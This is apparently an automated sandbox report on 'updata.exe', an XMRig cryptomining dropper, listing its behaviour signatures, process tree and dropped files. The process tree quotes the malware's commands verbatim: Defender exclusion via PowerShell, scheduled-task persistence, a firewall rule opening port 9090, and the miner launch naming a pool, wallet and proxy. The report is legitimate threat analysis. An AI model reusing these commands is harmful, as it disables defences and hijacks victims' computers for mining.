Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/08/2026, 01:20

General

  • Target
    updata.exe
  • Size 1.0MB
  • Sample260811-bp7prsdm41
  • SHA256 b48d7a131c13959b010f96a17dec26f1287e4d68012c3a0979ca95454a39d06e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 26 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\updata.exe
    "C:\Users\Admin\AppData\Local\Temp\updata.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\updata\updata.exe'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\updata\updata.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3592
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /delete /tn "updata" /f
      2⤵
        PID:4752
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "updata" /xml "C:\Users\Admin\AppData\Local\Temp\updata.xml" /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2556
      • C:\Users\Admin\AppData\Roaming\updata\updata.exe
        "C:\Users\Admin\AppData\Roaming\updata\updata.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1356
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks.exe" /query /tn "updata"
          3⤵
            PID:988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4656
          • C:\Windows\SYSTEM32\netsh.exe
            "netsh" advfirewall firewall show rule name="9090"
            3⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:580
          • C:\Windows\SYSTEM32\netsh.exe
            "netsh" advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=9090
            3⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4260
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe --algo rx/0 -o xmr-eu1.nanopool.org:10300 -u 45JUhwKbmZ8YxfjJRBQD5hKSopuUve5AuajySX1MASND7HkJCqQUA4d2Hhr29Pq9gW1pnxpWLH34SY7zTEYq4ukEEy5gXDK.Home_xmr -p x -k --cpu-max-threads-hint=50 --http-enabled --http-port=9090 --proxy=154.12.226.43:58201
            3⤵
            • Suspicious use of FindShellTrayWindow
            PID:4376
      • C:\Users\Admin\AppData\Roaming\updata\updata.exe
        C:\Users\Admin\AppData\Roaming\updata\updata.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5984
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks.exe" /query /tn "updata"
          2⤵
            PID:1444
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:5928

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_ja1bfi2e.u0f.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ja1bfi2e.u0f.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                updata.xml

                • Path C:\Users\Admin\AppData\Local\Temp\updata.xml
                • Size 1KB
                • SHA256 aa189d55c79d69515d33b32352b2084a6edc89bbfaf71cbb4dc10bd3a00a7413
                • MD5 SHA1 SHA512 TLSH

                updata.exe

                • Path C:\Users\Admin\AppData\Roaming\updata\updata.exe
                • Size 1.0MB
                • SHA256 b48d7a131c13959b010f96a17dec26f1287e4d68012c3a0979ca95454a39d06e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1356-65-0x0000000020DB0000-0x0000000020DB1000-memory.dmp

                memory/1356-66-0x0000000020DC0000-0x0000000020DC1000-memory.dmp

                memory/1356-78-0x00000000210C0000-0x00000000210C1000-memory.dmp

                memory/1356-59-0x000000001E010000-0x000000001E011000-memory.dmp

                memory/1356-57-0x0000000020D70000-0x0000000020D71000-memory.dmp

                memory/1356-56-0x0000000020C40000-0x0000000020C41000-memory.dmp

                memory/1356-55-0x0000000020C30000-0x0000000020C31000-memory.dmp

                memory/1356-80-0x00000000210D0000-0x00000000210D1000-memory.dmp

                memory/1356-82-0x00000000210E0000-0x00000000210E1000-memory.dmp

                memory/1356-47-0x0000000020C50000-0x0000000020C62000-memory.dmp

                memory/1356-107-0x00000000210F0000-0x00000000210F1000-memory.dmp

                memory/3592-22-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-14-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-19-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-20-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-21-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-17-0x000001D950220000-0x000001D950242000-memory.dmp

                memory/3592-23-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-24-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-25-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-29-0x000001D950500000-0x000001D9505B2000-memory.dmp

                memory/3592-28-0x000001D9504E0000-0x000001D9504FE000-memory.dmp

                memory/3592-30-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-31-0x000001D9502C0000-0x000001D9502CA000-memory.dmp

                memory/3592-32-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-33-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-34-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-35-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-36-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-37-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-38-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-39-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-41-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3592-18-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-6-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-2-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-13-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-12-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-11-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-1-0x00007FFDEF8CF000-0x00007FFDEF8D0000-memory.dmp

                memory/3928-10-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-9-0x0000000003130000-0x000000000314A000-memory.dmp

                memory/3928-8-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-7-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-0-0x0000000000820000-0x000000000092A000-memory.dmp

                memory/3928-5-0x000000001C770000-0x000000001C92E000-memory.dmp

                memory/3928-3-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/3928-4-0x000000001C470000-0x000000001C522000-memory.dmp

                memory/3928-45-0x00007FFDEF740000-0x00007FFDF00E4000-memory.dmp

                memory/4376-101-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-99-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-97-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-96-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-95-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-94-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-81-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-104-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-103-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-110-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-102-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-105-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-100-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-98-0x00000287F5800000-0x00000287F5820000-memory.dmp

                memory/4376-93-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-92-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-91-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-88-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-87-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-86-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-84-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-89-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-90-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-83-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-85-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-106-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4376-109-0x0000000140000000-0x00000001408CD000-memory.dmp

                memory/4656-53-0x0000015C250D0000-0x0000015C25182000-memory.dmp